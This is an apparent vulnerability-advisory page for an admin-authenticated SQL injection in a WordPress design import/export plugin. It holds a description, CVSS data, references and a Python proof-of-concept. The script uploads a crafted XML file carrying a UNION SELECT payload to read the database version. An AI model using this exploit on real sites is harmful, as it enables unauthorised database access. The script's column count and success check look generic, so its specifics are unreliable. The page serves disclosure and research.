Security Vulnerability Report
中文
CVE-2025-14050 CVSS 4.9 MEDIUM

CVE-2025-14050

Published: 2025-12-13 16:16:48
Last Modified: 2026-04-15 00:35:42

Description

The Design Import/Export plugin for WordPress is vulnerable to SQL Injection via XML File Import in all versions up to, and including, 2.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Design Import/Export插件所有版本 <= 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2025-14050 PoC - WordPress Design Import/Export Plugin SQL Injection # Target: WordPress site with Design Import/Export plugin <= 2.2 # Authentication: Requires administrator-level access TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "password" def get_nonce(session, url): """Extract WordPress nonce from import page""" response = session.get(f"{url}/wp-admin/admin.php?page=design-import-export") soup = BeautifulSoup(response.text, 'html.parser') nonce_tag = soup.find('input', {'id': '_wpnonce'}) return nonce_tag['value'] if nonce_tag else None def create_malicious_xml(): """Generate malicious XML with SQL injection payload""" # SQL injection payload to extract database version payload = "' UNION SELECT 1,2,3,4,5,@@version,7,8,9,10,11,12,13,14,15,16-- -" xml_content = f'''<?xml version="1.0" encoding="UTF-8"?> <design_export> <theme_settings> <setting name="header_text">{payload}</setting> <setting name="footer_text">Legitimate Content</setting> </theme_settings> <widgets> <widget type="text"> <title>Sample Widget</title> <content>Widget content</content> </widget> </widgets> </design_export>''' return xml_content def exploit(): """Execute SQL injection exploit""" session = requests.Session() # Login to WordPress as admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/admin.php?page=design-import-export" } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Successfully authenticated as administrator") # Get nonce for import action nonce = get_nonce(session, TARGET_URL) if not nonce: print("[-] Failed to obtain nonce") return False print(f"[+] Obtained nonce: {nonce}") # Create malicious XML file malicious_xml = create_malicious_xml() # Upload malicious XML via import functionality import_url = f"{TARGET_URL}/wp-admin/admin.php?page=design-import-export&action=import" files = {'import_file': ('malicious_design.xml', malicious_xml, 'text/xml')} data = {'_wpnonce': nonce, 'submit': 'Import'} response = session.post(import_url, data=data, files=files) # Check for successful injection (response may contain database info) if '5.' in response.text or 'MariaDB' in response.text: print("[+] SQL Injection successful! Database version extracted.") return True print("[-] Exploit may have failed. Check response manually.") return False if __name__ == "__main__": print("="*60) print("CVE-2025-14050 SQL Injection Exploit") print("WordPress Design Import/Export Plugin <= 2.2") print("="*60) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14050", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:47.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Design Import/Export plugin for WordPress is vulnerable to SQL Injection via XML File Import in all versions up to, and including, 2.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/design-import-export/tags/2.2/includes/importer.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/design-import-export/trunk/includes/importer.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3416324", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/beb489d3-2c1b-4af5-b73e-126d2526e0a3?source=cve", "source": "[email protected]"}]}}